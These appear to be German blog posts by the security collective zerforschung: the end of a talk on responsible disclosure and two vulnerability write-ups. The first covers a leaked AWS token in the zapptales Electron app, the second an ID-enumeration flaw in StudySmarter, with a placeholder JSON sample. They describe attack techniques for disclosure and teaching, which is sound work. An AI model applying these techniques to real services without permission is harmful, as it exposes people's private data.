Für uns ist klar: Ohne dieses Kollektiv hätten wir das alles überhaupt gar nicht hinbekommen. Schon alleine zeitlich – es ist einfach unglaublich entlastend, wenn man Aufgaben auch mal abgeben kann. Und mehr Köpfe denken immer besser als nur einer – durch das Kollektiv haben wir unterschiedliche Perspektiven und unterschiedliche Skills. Das ist einfach mega praktisch. Und schön.

Natürlich kommt es vor, dass wir überhaupt keine Lust haben. Wenn wir uns beispielsweise an einem Dienstagabend um 23:42 zusammensetzen, und feststellen: Bis morgen um 6 Uhr muss der Text fertig sein. Und Threads für Social Media. Und ein Titelbild für den Blogpost. Das ist wirklich nicht immer spaßig. Aber gemeinsam geht’s dann doch irgendwie und am Ende macht es dann immer wieder sehr, sehr glücklich.

Also: Sucht euch Freund*innen, bildet Banden und meldet eure Sicherheitslücken gemeinsam!

Gut – angenommen, ihr habt jetzt alles richtig gemacht und sagt dem Unternehmen Bescheid. Was passiert jetzt?

CEO am Telefon:

Hack, Hack, Hack & Hack – Wir bauen die Bänke für ihre Daten, wie kann ich ihnen helfen?
Datenabfluss, ist das eine Krankheit oder was?
Was soll das heißen, Kundendaten?
Das geht so nicht, da ruf ich die Polizei!

Hallo, ich hab einen Notruf, haben sie eine Cyberpolizei oder sowas?
Ich hatte gerade einen Anruf, der wollte mich erpressen! Er hat was mit Daten gesagt, Datenabfluss…
Der hätte alle meine Kundendaten…

Einen Namen hat er gesagt, irgendwas adliges… von Zerforschung oder sowas in der Richtung?

Für Unternehmen: Richtig mit Meldungen umgehen

Tja, liebe Unternehmen jetzt kommen wir mal zu euch. Eigentlich sind eure Aufgaben relativ einfach erklärt: Seid freundlich und offen gegenüber den Meldenden, schließt die Lücken und kommt gar nicht erst auf die Idee, uns zu verklagen.

Naja ein bisschen was haben wir doch noch zu erzählen…

Vorweg:
Ihr kommuniziert in einem Responsible Disclosure Prozess oft mit einer Person oder einem Team, die das in ihrer Freizeit machen. Das bedeutet, geht ordentlich mit den Leuten um.

Schraubt das virtuelle Klingelschild an

Aber eigentlich fängt eure Aufgabe schon weit vorher an, lange bevor ihr die “Hacker*innen” am Hörer habt. Der allererste Schritt für euch als Unternehmen ist es, erreichbar zu sein. Denn Fehler passieren, und wenn jemand außerhalb eurer Organisation diese findet, sollten euch die einfach mitgeteilt werden können.

Denn die wichtigste Frage, die sich Sicherheitsforscher*innen da oft erstmal stellen ist: “Wie erreicht man euch?” Da hat es sich bewährt, dass ihr auf eurer Website eine spezielle E-Mail-Adresse für Sicherheitsangelegenheiten stehen habt, wie z.B. security@

Es ist außerdem sehr ratsam, dass diese E-Mailadresse von mehreren Personen gelesen und regelmäßig abgerufen wird. Denn es bringt nichts, wenn ihr eine wichtige Sicherheitslücke gemeldet bekommt, aber die verantwortliche Person gerade im Sommerurlaub ist oder eh nur einmal im Monat nachschaut. Die ankommenden Mails sollten am besten direkt von technisch kompetentem Personal gelesen werden, damit alles möglichst schnell gehen kann.

Ihr solltet auch regelmäßig in den Spamordner schauen. Hacker*innen nutzen manchmal eigene E-Mailserver und da schaffen es die Mails dann nicht immer in den Posteingang – gerade bei Google oder Outlook.

Das mit der Erreichbarkeit klingt erstmal trivial. Aber wir erleben es regelmäßig, dass wir erstmal keine expliziten Ansprechpartner*innen für Sicherheitsprobleme finden. Das bedeutet dann oft: Wir müssen an alle E-Mail-Adressen aus dem Impressum, der Datenschutzerklärung oder der Kontaktseite schreiben. Und das ist natürlich auch für ein Unternehmen suboptimal. Denn dann landet die Meldung direkt bei einer Menge verschiedener Leute. Die sind meist garnicht nicht auf Sicherheitsmeldungen spezialisiert und können diese nicht richtig einschätzen. Dann herrscht erstmal Panik, niemand weiß was zu tun ist. Dann kann alles mögliche passieren: Die Nachricht wird ignoriert oder im schlimmsten Fall wird die Meldung von den falschen Leuten in der Chefetage gelesen und direkt zu den Anwälten eskaliert.

Daher ist eine separate Adresse sinnvoll – und wenn dann dort eine Meldung eingeht, solltet ihr schnell reagieren und zeitnah eine Eingangsbestätigung versenden. Dann wissen wir, dass ihr die Meldung gelesen habt und wir nicht weiter probieren müssen, euch zu erreichen.

Denn wenn wir bei zerforschung auf dem E-Mail-Weg nichts von euch hören, dann suchen wir nach immer neuen Wegen. Vielleicht schreiben wir euch auf Whatsapp, sliden euch in die Twitter-DMs, schicken euch ein Fax, suchen euch auf LinkedIn, rufen eure Investoren oder sogar eure Eltern an. Das klingt jetzt komisch, aber das haben wir alles schon gemacht. Denn wir wollen ganz sicher gehen, dass ihr über das Problem Bescheid wisst und es möglichst schnell behebt.

Genau daher sollte die Security-Mailadresse einfach auffindbar sein. Zum Beispiel im Impressum stehen – oder noch cooler: Ihr veröffentlicht zusätzlich eine security.txt Datei auf eurer Website. Das ist ein offener Standard, um alle relevanten Informationen für Sicherheitsforschernde zu hinterlegen. Darin können sowohl die korrekten Kontaktwege als auch eure bevorzugten Sprachen für eine Meldung, Crypto-Keys und vieles mehr stehen. Damit macht ihr uns und euch die Arbeit einfacher.

Oh, eine Email!

So, ihr habt eine Meldung erhalten. Der nächste Schritt ist zu prüfen, ob ihr die Beschreibung der Lücke nachvollziehen könnt. Wenn das so ist, bestätigt das auch gleich gegenüber den Sicherheitsforschenden. Das ist wirklich wichtig, denn sonst werden wir euch weiter nerven, das kostet uns und euch Zeit!

Am besten erklärt ihr dann auch direkt, wie es jetzt weitergeht, bis die Lücke behoben ist. Hierbei ist sowohl interessant, welche Sofort-Maßnahmen ihr trefft, als auch welche langfristigen Konsequenzen ihr daraus zieht. Zum Beispiel:

Sehr geehrtes Hacker-Kollektiv Zerforschung,

Wir haben die von ihnen beschriebene Lücke nachvollziehen können und gestern Abend direkt den betroffenen Dienst vorrübergehend offline genommen. Wir haben die Lücke geschlossen und überprüfen nun den Dienst noch einmal gründlich.

Vielen Dank für das Responsible Disclosure Verfahren!

Und wenn ihr die Lücke aus der Beschreibung nicht direkt nachvollziehen könnt, dann fragt lieber erstmal nach, ob ihr das alles richtig verstanden habt. Und behauptet auf keinen Fall vorschnell, dass eine Lücke nicht existiert.

Ihr wollt den Menschen, der euch da geholfen hat, auch wirklich auf dem Laufenden halten und keinerlei Missverständnisse in der Kommunikation aufkommen lassen. Deswegen schickt lieber ein Update zu viel als eines zu wenig. Am besten ist natürlich, ihr haltet die Meldenden regelmäßig und unaufgefordert auf dem Laufenden. Schreibt zum Beispiel jede Woche einmal den aktuellen Stand darüber, wie weit ihr mit der Problembehebung seid.

Kommuniziert dabei alles sehr deutlich. Wenn es z.B. eine Verschiebung in der Timeline zur Behebung gibt, dann solltet ihr das explizit so benennen und begründen.

Ihr wollt ja, dass die Sicherheitsforscher*innen ehrlich und vollständig transparent mit euch sind – also seid es auch. Packt alle Karten auf den Tisch und haltet nichts zurück.

Außerdem ist das wichtig, da Sicherheitsforschende manchmal auch selber etwas über die Lücke schreiben wollen. Wir zum Beispiel versuchen danach immer einen Blogpost zu schreiben. Dort beschreiben wir, wie wir die Lücke gefunden haben und was die Auswirkungen davon waren. Dadurch können alle etwas aus dem Fehler lernen und solche Lücken werden in Zukunft hoffentlich seltener.

Die Lücken habt ihr selbst gebaut

Wenn ihr mit Sicherheitsforschenden redet oder schreibt, gilt eigentlich das gleiche wie für alle anderen Menschen: Benehmt euch nicht daneben – Seid freundlich, ehrlich und dankbar gegenüber den Melder*innen.

Bedenkt immer: Da helfen euch Leute in ihrer Freizeit, eure Software sicherer zu machen. Ja, es ist für euch keine schöne Situation, wenn da ein großes Sicherheitsproblem in eurer Software ist. Aber daran sind nicht die Sicherheitsforscher*innen Schuld. Die haben die Lücke nur gefunden und nicht eingebaut.

Also überlegt mal, wie beschissen sich das für eure Gegenseite anfühlt. Da hat sich jemand in ihrer Freizeit hingesetzt, eure Software angeschaut und ein Problem gefunden. Dann hat die Person euch sogar Bescheid gesagt – und von euch kommt nur Gepöbel, Drohungen oder gar eine Strafanzeige.

Damit verschreckt ihr ehrliche Sicherheitsforscher*innen. Das ist der worst case für eure Sicherheit. Denn die Lücken sind ja nicht weg, nur weil niemand sie euch meldet. Stattdessen werden die Lücken dann gar nicht gemeldet, als Full Disclosure direkt dem ganzen Internet bekannt gemacht oder an Kriminelle verkauft.

Das musste auch die CDU lernen. Nachdem sie Lilith angezeigt hat, gab es einen großen Aufschrei und sogar der CCC hat gesagt, dass sie der CDU keine Sicherheitslücken mehr vertraulich melden werden.

Linus: Das ist natürlich ein dramatischer Fall, wir können niemandem mehr reinen Gewissens dazu raten der CDU Sicherheitslücken zu melden, wir werden das auf jeden Fall auch nicht mehr tun. Wir wünschen der CDU viel Glück, oder dass sie die Sicherheitslücken vielleicht selber findet oder hofft, dass niemand anderes sie findet.

Stattdessen wurden in den nächsten Tagen einige weitere Sicherheitslücken bei der CDU gefunden – und direkt öffentlich gemacht.

Also passt sehr auf, dass ihr gut mit den Meldenden umgeht und wirklich nichts macht, was in irgendeiner Form als eine Bedrohung ausgelegt werden könnte.

Es ist selbstverständlich, dass ihr Leute nicht dazu zwingt, irgendwas zu unterschreiben. Weder eine Verschwiegenheitserklärung noch einen Beratervertrag noch sonst irgendwas. Versucht es nichtmal.

Natürlich freuen sich Sicherheitsforscher*innen oft, wenn ihr euch in irgendeiner Form erkenntlich zeigt. Aber sprecht auch das immer ab. Versendet nicht unaufgefordert Geschenke und überweist auch nicht einfach ein Bugbounty. Fragt immer nach, ob das auch wirklich gewünscht ist.

Und ganz wichtig: Macht es, um euch ehrlich erkenntlich zu zeigen. Macht daraus keine Pressemitteilung und bindet es an keinerlei Bedinungen. Dazu zählt auch: Bedankt euch nicht öffentlich ungefragt bei Sicherheitsforscher*innen, die euch die Lücke gemeldet haben. Nicht jede*r will auf eurer Unternehmenswebsite oder euren Social Media Kanälen mit Namen genannt werden.

Das kann an einer politischen Überzeugung liegen – wir würden nicht bei der Bundeswehr genannt werden wollen. Oder man möchte sich nicht mehr mit der Lücke beschäftigen; es könnte Stress auf Arbeit bedeuten. Oder die Leute wollen es einfach nicht – auch das müsst ihr akzeptieren.

Ehrlichkeit ist wichtig – Rücksicht auch

Es hat sich bewährt, nicht nur in der direkten Kommunikation mit Sicherherheitsforscher*innen, sondern auch in der Außenkommunikation immer offen und ehrlich zu sein, also nichts zu beschönigen oder gar zu verschweigen. Seid transparent darüber, was passiert ist und wie ihr das in der Zukunft vermeiden wollt.

Es kann sein, dass Medien über den Sicherheitsvorfall bei euch berichten wollen. Versucht wirklich nicht, die anzulügen oder gar Sicherheitsforscher*innen gegenüber Redaktionen zu diskreditieren. Das geht eigentlich immer nach hinten los.

Es gehört auch zum guten Ton, eine Sicherheitslücke nicht einfach als Pressemitteilung völlig unabgesprochen mit den Sicherheitsforscher*innen, die diese gefunden haben, zu veröffentlichen.

Wir möchten euch außerdem dazu ermutigen, eure Nutzer*innen über den Vorfall zu informieren. Auch das gehört zu einem guten und transparenten Umgang mit der Lücke. Selbst wenn ihr nahezu ausschließen könnt, dass deren Daten abgeflossen sind.

Das, was wir in den letzten Minuten erklärt haben, sind nur die absoluten Basics. Wenn ihr wirklich gut mit Sicherheitsmeldungen umgehen und eure Sicherheitsprozesse verbessern wollt, könnt ihr noch viel mehr tun. Dazu gibt es viel Literatur, mehr als in diesen Talk passt.

Einen Link zu weiterführenden Inhalten und Dingen, die wir in diesem Talk erwähnt haben, findet ihr in den Shownotes unter https://rc3.zerforschung.org/ . (Anmerkung zum Skript: Also hier!)

Happy hacking!

Und mit dieser Handreichung entlassen wir euch in die Weiten des Internets. Happy hacking!

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

zapptales – vom Chat zum Buch zum Datenleck

Mon, 13 Dec 2021 05:40:00 +0100

Weihnachtszeit ist Geschenkezeit, natürlich auch in diesem Jahr. Viele suchen verzweifelt nach schönen, möglichst originellen Geschenken, auch in unserem Freundeskreis. Von »Ihr Name auf einem Reiskorn« bis »Deine schönsten Urlaubsfotos als Fotobuch« bleibt kein Wunsch unerfüllt.

Auf der Jagd nach dem besten Geschenk sind Freund*innen von uns auf zapptales gestoßen. Der Dienst verspricht, individuelle Bücher drucken zu lassen, ungefähr so wie Fotobücher – nur mit privaten Chatverläufen. Moment… private Chats auf fremde Server laden, um sie drucken zu lassen? Da hören wir die Glöckchen läuten. Aber keine Weihnachtsglöckchen 🔔, sondern Alarmglocken 🚨. Leider stellte sich heraus: Zu Recht!

Große Versprechen, kleines Vertrauen

Aber alles kein Problem, weil das natürlich sicher und verschlüsselt ist, verspricht der Online-Dienst zapptales. Dort können Nutzer*innen ihren Chatverlauf aus diversen, zum Teil Ende-zu-Ende verschlüsselten, Messengern hochladen und dann daraus ein Fotobuch drucken lassen. Zum Zeitpunkt der Untersuchung wurden folgende Messenger unterstützt: WhatsApp, Telegram, Facebook Messenger, Threema, Instagram und iMessage.

zapptales bewirbt den eigenen Dienst damit, so die schönsten Chat-Erinnerung mit dem*der Partner*in, den Freund*innen oder der Familie zu verewigen. Oder wie sie sagen:

Schade nur, dass aus den Smileys nicht nur ein Lächeln wurde, sondern auch ein Datenabfluss. Immerhin: So haben wir ein Geschenk für euch – eine Grusel-Geschichte zur Vorweihnachtszeit.

Denn natürlich waren wir neugierig und haben uns den Dienst etwas genauer angeschaut. Erstmal wollen wir herausfinden, wie zapptales funktioniert: Wir geben also eine E-Mail-Adresse an und laden einen Chat hoch.

Bei dem schlechten Bauchgefühl natürlich nicht mit echten Daten, sondern wir haben eine extra Test-Mailadresse. Ein echter Chat kam für uns sowieso nicht infrage. Stattdessen haben wir uns zum Testen WhatsApp auf zwei ungenutzten Forschungs-Handys installiert und mal ein bisschen miteinander gechattet:

Nachdem wir unseren Chat bei zapptales hochgeladen haben, können wir direkt ein hübsches Buch gestalten:

Hoch hinauf auf den Server

Doch wie kommt der Chat zu zapptales? Das ist je nach Messenger unterschiedlich. Für Instagram und Facebook Messenger kann man den DSGVO-Export¹ der Plattform hochladen und dann auswählen, welcher Chat gedruckt werden soll. Bei Telegram und Threema soll man immerhin nur einzelne Chats exportieren und diese dann hochladen. Für iMessage gibt es eine eigene Software, um die Daten aus einem iOS-Backup zu extrahieren.

Und für unseren Test-Anwendungsfall mit einem WhatsApp-Chat gibt es auch eine eigene Software. Diese nutzt die WhatsApp-Web-Funktion, um sich mit dem eigenen Handy zu verbinden und dann die Chats abzurufen.

Diese Software laden wir herunter und schauen uns an, wie sie technisch umgesetzt ist.

Websites with extra steps

Die App ist mit dem Framework Electron gebaut. Electron erlaubt es, Desktop-Apps mit Webtechnologie zu entwickeln. Das heißt: Den Code für die Anwendung müssen die Software-Entwickler*innen nur einmal schreiben – und die Anwendungen laufen trotzdem auf vielen verschiedenen Betriebssystemen. Dies hat für uns einen weiteren Vorteil: Diese Apps lassen sich für uns deutlich angenehmer analysieren, weil der JavaScript-Quellcode direkt mit ausgeliefert wird.

Diesen Quellcode finden wir in der Datei mit dem Namen app.asar:

Asar ist ein eigenes Datei-Format von Electron, in dem der eigentliche Quelltext der App steht. Da Electron-Apps nur “websites with extra steps” sind, wird der Quelltext einer App in dieses Archivformat verpackt.

Dieses Archiv entpacken wir und finden darin den Quelltext. Doch noch bevor wir uns diesen genauer anschauen können, sticht eine Datei namens .env ins Auge. Darin stehen einige sogenannte Umgebungsvariablen. Solche Dateien und Variablen werden häufig verwendet, um bestimmte Einstellungen an einer Stelle zentral zu sammeln. Das können nur harmlose Werte sein, wie zum Beispiel Versionsnummern oder der Name der Anwendung. Doch was haben wir hier?

Huch, ein Zugangstoken² für Amazon Web Services (AWS)³? Das ist nicht gut…

Mit diesem Zugangstoken bekommen wir Zugriff auf die Amazon-Cloud von zapptales. Zuerst schauen wir mal, auf welche Datenspeicher (bei AWS werden diese “Buckets” genannt) wir Zugriff haben:

Eimer voller Daten

Oh no, das scheinen so ziemlich alle Daten zu sein.

In chat.zapptales.com liegen die ganzen Bilder, Videos und Sprachnachrichten aus den Chats, die zapptales hochgeladen hat. Und das sind ganz schön viele: 21 Terabyte Daten – alleine die Liste der Dateien, die dort liegen, ist super lang und ist fast 3 Gigabyte groß – darunter auch zehntausende fertige Fotobücher im PDF-Format.

Ebenfalls interessant: Im Bucket zapptales-db-backups gibt es tägliche Backups der Datenbank von zapptales.⁴ Darin stehen z.B. die unverschlüsselten Chats, Namen und zum Teil Telefonnummern von Gesprächspartner*innen. Außerdem Informationen darüber, welche Bücher bestellt wurden und an welche Adressen sie geliefert werden sollten – in mehr als 60 Ländern in der ganzen Welt. Zum Zeitpunkt der Untersuchung waren das 69.000 Accounts.

Delikates Detail: Wenn man das Buch bei zapptales gestaltet, kann man einzelne Nachrichten ausblenden – doch die Nachrichten und Medien bleiben auf dem Server gespeichert, es wird lediglich eine Markierung in der Datenbank gesetzt.

Schadsoftware statt Chatsoftware

Das Token steht in der .env Datei, weil zapptales so immer die neueste Version der App automatisch auf den Server laden kann – und diese dann sofort als Update bereit steht. So weit so gut – nur hätte diese Datei nicht in die veröffentlichte App eingebacken⁵ werden dürfen.

Das heißt aber auch, dass wir nicht nur alle Daten herunterladen können – sondern auch beliebige Dateien hochladen könnten. Damit könnten wir eine manipulierte App-Version hochladen, um Benutzer*innen von zapptales Schadsoftware unterzuschieben. Sei es eine App, die die ausgewählten Chats nicht nur an zapptales schickt, sondern auch das ganze Nachrichtenarchiv an einen Server des Angreifers – oder natürlich ein Verschlüsselungs-Trojaner.

“Verschlüsselt” ist kein Zauberspruch

Beim Hochladen des Chats spricht zapptales davon, dass dies verschlüsselt geschehe:

Das stimmt auch so halb – der Upload passiert über eine HTTPS-Verbindung. Das bedeutet, dass lediglich der Weg zwischen uns und zapptales abgesichert ist. Eine Person, die auf dem Weg mithört, kann diese Daten also nicht lesen.

Allerdings werden die Daten nicht so verschlüsselt, dass zapptales sie nicht mehr lesen könnte. Wir finden dieses Werbeversprechen irreführend, denn es suggeriert, dass die Chats nochmal besonders gesichert wären und so auch vor dem Zugriff von zapptales geschützt.

Stattdessen wird hier lediglich die Verbindung verschlüsselt – mit einer absoluten Standard-Technologie, die eigentlich keiner weiteren Nennung bedürfen sollte.⁶

Alarm!

Unser schlechtes Bauchgefühl hat sich also bestätigt und wir können sämtliche bei zapptales gespeicherten Chats und Fotobücher einsehen.

Doch das darf nicht so bleiben! Also setzen wir uns hin und schreiben wie jedes Mal einen Report, in dem wir die gefundenen Probleme dokumentieren. Diesen schicken wir an das CERT-Bund beim BSI und an die Bayrische Datenschutzbehörde. Diese sind dann mit dem Hersteller in Kontakt getreten, damit die Lücke schnellstmöglich geschlossen wird.

Bayern ist in vielerlei Hinsicht ein besonderes Bundesland, so auch beim Datenschutz: Wusstet ihr, dass der Freistaat Bayern zwei Datenschutzbehörden hat – aber nicht etwa eine für Bayern und eine für Franken, sondern eine für den Datenschutz im öffentlichen Bereich, also z.B. Behörden (den Bayerischen Landesbeauftragten für Datenschutz) und eine für den Datenschutz bei Unternehmen (das Bayerische Landesamt für Datenschutzaufsicht).

In vielen anderen Bundesländern vereint das Amt außerdem zwei Funktionen: Datenschutz und Informationsfreiheit. Leider hat Bayern aber kein Informationsfreiheits- oder Transparenzgesetz – und der Landesbeauftragte für Datenschutz kümmert sich auch wirklich nur um Datenschutz. Schade.

Eimer zu, alles gut?

Das hat in diesem Fall wunderbar funktioniert: Nachdem wir den Report am 21.09.2021 abgeschickt haben, wurde das AWS Secret am 22.09. für ungültig erklärt, sodass darüber kein Zugriff mehr auf die Buckets möglich war.

Am 23.09. wurde eine aktualisierte Version der Anwendung veröffentlicht, die keine Zugangsdaten mehr enthielt.

Zudem hat der Hersteller nach eigener Aussage analysiert, inwiefern mit diesen Zugangsdaten auf die Daten zugegriffen wurde und konnte sicherstellen, dass dies außer uns (und dem Hersteller selbst) niemand getan hatte.

Leider hat sich der Hersteller nicht dazu entschieden, die betroffenen Kund*innen von sich aus zu informieren. Da außer uns niemand auf die Daten zugegriffen hat und von uns kein Risiko ausginge, sind der Hersteller und die zuständige Datenschutzbehörde der Meinung, dass dies nicht nötig ist. Stattdessen wurde lediglich ein Post im Blog von zapptales veröffentlicht.

Das kritsieren wir sehr – denn auch wenn wir keinen Schabernack mit den Daten treiben, sollten die Kund*innen über den Datenabfluss informiert werden.

Exkurs: Wie updatet man ein gedrucktes Buch?

Wer den Artikel bis hier hin aufmerksam gelesen hat, wird sich vielleicht gefragt haben, wie zapptales es schafft Videos und Sprachnachrichten abzudrucken.

zapptales klebt nicht etwa einen Haufen kleine Displays und Lautsprecher in die Bücher – schade eigentlich – sondern druckt QR-Codes an die passende Stelle im Chat.

Diese verlinken dann auf eine kleine Seite, auf der das Video oder die Sprachnachricht anschaubar ist:

Das ist toll für die Nutzer*innen, aber stellt ein Problem dar, falls die QR-Codes in die falschen Hände fallen. Entweder wie hier durch ein Datenleck oder schlicht, indem das Buch nach Ende der Beziehung in den Müll geworfen und dort gefunden wird. Denn wie aktualisiert man die bereits gedruckten Seiten, die bei den Kund*innen im Schrank stehen? An der Stelle haben wir lange gerätselt – die QR-Codes abschalten? Neue QR-Codes als Aufkleber zum überkleben verschicken? Allen ungefragt neue Bücher schicken?

zapptales hat sich für einen anderen Weg entschieden: Sie wollen eine PIN-Abfrage vorschalten. Diese PIN soll man dann beim zapptales-Support anfragen können – wir haben dies aber bislang nicht gesehen.
Im Gespräch mit uns meinten die Geschäftsführer*innen, dass dieses Feature noch geplant ist – aber erst nach dem wichtigen Weihnachtsgeschäft.

Fazit

zapptales verarbeitet hochprivate Inhalte – Chatverläufe mit den Liebsten – und ermuntert dazu, diese aus eigentlich Ende-zu-Ende-verschlüsselten Messengern unverschlüsselt hochzuladen. Damit steht zapptales in großer Verantwortung, die Daten gut zu schützen.

So wäre es technisch möglich die Daten weitestgehend zu verschlüsseln, sodass zapptales bis zum finalen Druckauftrag keinen Einblick in die Chats hat. Dann hätten wir in diesem Fall auch nur einen Eimer voller verschlüsselter Dateien gefunden, mit denen wir nichts anfangen können.

Denn Fehler wie der hier beschriebene können passieren, auch ohne böse Absicht. Gerade deshalb ist es aber wichtig, Vorkehrungen zu treffen, um den daraus entstandenen Schaden zu minimieren.

Fotos, Videos, Sprachnachrichten und den Chatverlauf eines gekauften Buches auf unbestimmte Zeit und unverschlüsselt im Internet liegen zu lassen, ist hingegen unverantwortlich.

Außerdem ist anzumerken, dass die anderen Beteiligten eines exportierten und hochgeladenen Chats keine Möglichkeit haben herauszufinden, ob ihre Unterhaltung bei zapptales hochgeladen und verarbeitet wurde. Wir haben zwar auch lieber eine Weihnachtsüberraschung – aber vielleicht lieber ein selbstgemaltes Bild als ein Datenleck.

🤝

Wir haben diesen Fall zusammen mit dem Spiegel und dem Bayerischen Rundfunk veröffentlicht. Deren Artikel findet ihr hier:

Spiegel
BR

Das dokumentieren, melden und ~~drucken~~ veröffentlichen solcher Lücken kostet viel Zeit und Nerven.

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Danke 🎄

Soll nochmal jemand behaupten die DSGVO verhindert Innovation! ↩︎
Ein ‘Token’ ist eine längere Zeichenkette aus Kombinationen von Buchstaben und Zahlen. Eigentlich sollte diese Zeichenkette geheim sein – denn wer sie kennt, kann sich Zugang verschaffen. ↩︎
AWS ist das Angebot von Amazon für Speicherplatz, Datenbanken, Server und ganz viele andere Dinge. ↩︎
Leider wurde hier die bekannte Schlussformel des Chaosradio nicht beachtet: “Lasst euch nicht überwachen und verschlüsselt immer schön eure Backups!” ↩︎
Mmmmmmhhh, Weihnachtsgebäck 🍪 ↩︎
Auch unsere Blogposts werden ausschließlich verschlüsselt übertragen, wie ihr an dem Schloss-Symbol in der Adressleiste des Browsers sehen könnt. ↩︎

Zu Besuch bei Deutschlands bestem EdTech-Datenleck – virtuell natürlich

Tue, 07 Dec 2021 05:30:00 +0100

Dies ist der dritte Teil unserer Back-To-School-Reihe.

Stellt euch vor, ihr seht eine Haustür, die sperrangelweit offen steht. Also geht ihr rein und ruft durch das ganze Haus, dass die Tür offen ist und ob die nicht mal jemand zumachen kann. Ach was, ihr ruft nicht – ihr brüllt. Und trotzdem: Keine Antwort. Stattdessen stolpert ihr überall über aufgetürmte und aufgeschlagene Aktenordner mit Namen von drei Millionen Menschen, mit Fotos, Geburtsdaten, Wohnorten und Namen von Schulen oder Unis.

Klingt weit hergeholt? Ist uns aber genau so passiert – virtuell natürlich, in einer App. Dieser Blogpost erzählt von unserem kurzen Besuch bei der Lern-App StudySmarter.

Ende 2017 gegründet, entwickelt StudySmarter eine App für Schüler*innen und Studierende, die mit Lernkarten, Übungsaufgaben, etc. bei der Prüfungsvorbereitung helfen möchte.

Damit wurden sie sogar schon zu Europas bestem EdTech-Startup gekürt.

Wir wurden auf StudySmarter aufmerksam, als wir uns gerade eine andere App für die Back-To-School-Reihe angeschaut haben. Dort wurde uns Werbung für StudySmarter angezeigt. Und weil wir gerade schonmal bei dem Thema Lern- und Schulapps waren, installieren wir uns auch diese App. Wie bei den bisherigen Apps aktivieren wir zuallererst unseren Person-in-the-Middle-Proxy. Damit können wir sehen, wie die Kommunikation mit den Servern der App aussieht.

Ab in den Vorgarten und mitspielen

Wir öffnen also das virtuelle Gartentor, indem wir uns registrieren: Endlich mitspielen! In der App schauen wir uns um, tragen unsere Schule ein, und probieren ein paar Lernkarten und Übungsaufgaben aus.

Nachdem wir ein Nutzer*innen-Profil angelegt haben, sehen wir in unserem Person-in-the-Middle-Proxy den Datenverkehr zwischen App und Server. Dort steht, wie die App unser eigenes Profil abruft:

Hmmm, unsere Erfahrung sagt uns: Wo wir eine URL mit einer Nutzer*innen-Nummer darin sehen, bekommen wir häufig mehr Infos, wenn wir diese Nummer um eins herunterzählen¹ – allerdings nicht von unserem eigenen Account, sondern die unserer “Nachbarn”.

Hoppla, die Haustür ist ja offen!

Und tatsächlich: Auch diesmal bekommen wir das Profil einer anderen Person zu sehen.

Das sah in etwa so aus:²

{
  "id": 2981312,
  "tutorial": { ... },
  "tutorialwebapp": { ... },
  "settings": { ... },
  "user": {
    "first_name": "Alex",
    "last_name": "Mustermensch",
    "username": "alexmustermensch@bnd.bund.com",
    "email": "alexmustermensch@bnd.bund.com"
  },
  "university": "Anarchistisches Bildungs Centrum Neuland",
  "course_of_studies": "Bullshit-Bingo",
  "birthday": null,
  "is_premium": true,
  "user_type": "Referral",
  "last_notified": null,
  "community_username": null,
  "total_ects": 180,
  "planned_grade_remaining_studies": null,
  "studyfield": null,
  "studyfield_name": null,
  "is_professor": false,
  "is_pupil": true,
  "country": 227,
  "state": 2,
  "city": 192,
  "random_number": 0.5643164146823337,
  "email_confirmed": true,
  "semester": null,
  "cost_factor": "1.20",
  "tracking_number": 2342,
  ...
  "detected_country": 227,
  "returning_user": true,
  "token": "f2d897a2c477ad3e05a195786b8c4ca9e145e916",
  "state_name": "Berlin",
  "school_type_name": null
}

Wir konnten so die Stammdaten aller rund drei Millionen registrierten Nutzer*innen abrufen, also:

Name
E-Mail-Adresse
Schule/Universität
Studienrichtung
Geburtsdatum
Stadt, Bundesland, Land
Profilbild
ECTS-Punkte

Berge von Ordnern im ganzen Haus

In dem Moment, in dem wir realisieren, dass die virtuelle Haustür weit offen steht, sehen wir auch schon die riesigen Haufen von aufgeschlagenen und wild verstreuten Aktenordnern. Oder technisch gesprochen: In vielen Profilen standen private Daten – Namen etwa, oder Geburtsdaten. Bei einigen war zusätzlich noch ein ’token’ hinterlegt, also eine längere Zeichenkette aus Kombinationen von Buchstaben und Zahlen.

Relativ schnell sehen wir, dass es sich dabei um das Authentifizierungs-Token handelt. Mit dieser Zeichenkette teilt die App dem Server mit, welche*r Nutzer*in gerade eingeloggt ist. Eigentlich sollte diese Zeichenkette geheim sein und am besten gar nicht direkt in der Datenbank stehen – denn wer diese Zeichenkette kennt, kann sich als eine andere Person ausgeben.

Damit hätten wir alles machen können, was diese Nutzer*innen in der App tun dürfen: Wir könnten also zum Beispiel im Namen einer anderen Person Aufgaben erledigen³. Uns für neue Fächer registrieren. Oder eben alle Daten dieser Person abrufen, beispielsweise den Lernfortschritt – inklusive allen Details, wie eventuellen Lernschwächen.

“Hersteller, ihr habt ein Problem!”

Wir halten also fest: Es sind keine 10 Minuten vergangen, seit wir – bildlich gesprochen – gemütlich auf der Straße entlang geschlendert sind und zufällig eine Werbung gesehen haben. Die hat uns in den Garten gelockt, und dahinter haben wir eine sperrangelweit offene Haustür gefunden. Was also tun?

Wir zücken unsere Reiseschreibmaschine und beginnen mit der Dokumentation: Was haben wir vorgefunden und wieso ist das ein Problem. Diesen Bericht schicken wir an den Hersteller, die zuständige Landesdatenschutzbehörde und das CERT-Bund.

Von letzterem bekamen wir auch schnell eine Eingangsbestätigung – von den anderen jedoch: Nichts.

Wenn wir versuchen, ein Unternehmen wegen einer Sicherheitslücke zu kontaktieren, stehen wir immer wieder vor dem gleichen Problem: Wie erreichen wir die richtigen Leute im Unternehmen zeitnah und wie wird das Unternehmen reagieren – überflüssige Anzeigen gab es ja in diesem Jahr genug.

Gebt uns einen Notfall-Kontakt und lest eure Mails

Der einfachste Weg für uns ist eine security.txt-Datei, in der das Unternehmen einen Sicherheitskontakt und weitere nützliche Informationen veröffentlicht. Am besten sollten extra Postfächer für Schwachstellenmeldungen bereitgestellt und diese auch regelmäßig gelesen werden. Außerdem empfehlen wir sehr, dort auch regelmäßig in den Spam-Ordner zu schauen. Denn, oh Wunder, wenn wir E-Mails mit schädlich aussehendem Code schicken, ist es wenig überraschend, wenn diese tatsächlich im Spam-Ordner landen.

StudySmarter stellte uns gleich vor beide Hürden: Wir haben erstens keine direkte Kontakt-Mailadresse für IT-Schwachstellen gefunden. Und zweitens ist unsere Mail an den allgemeinen Kunden-Support und die Datenschutz-Stelle im Spam-Ordner gelandet.⁴

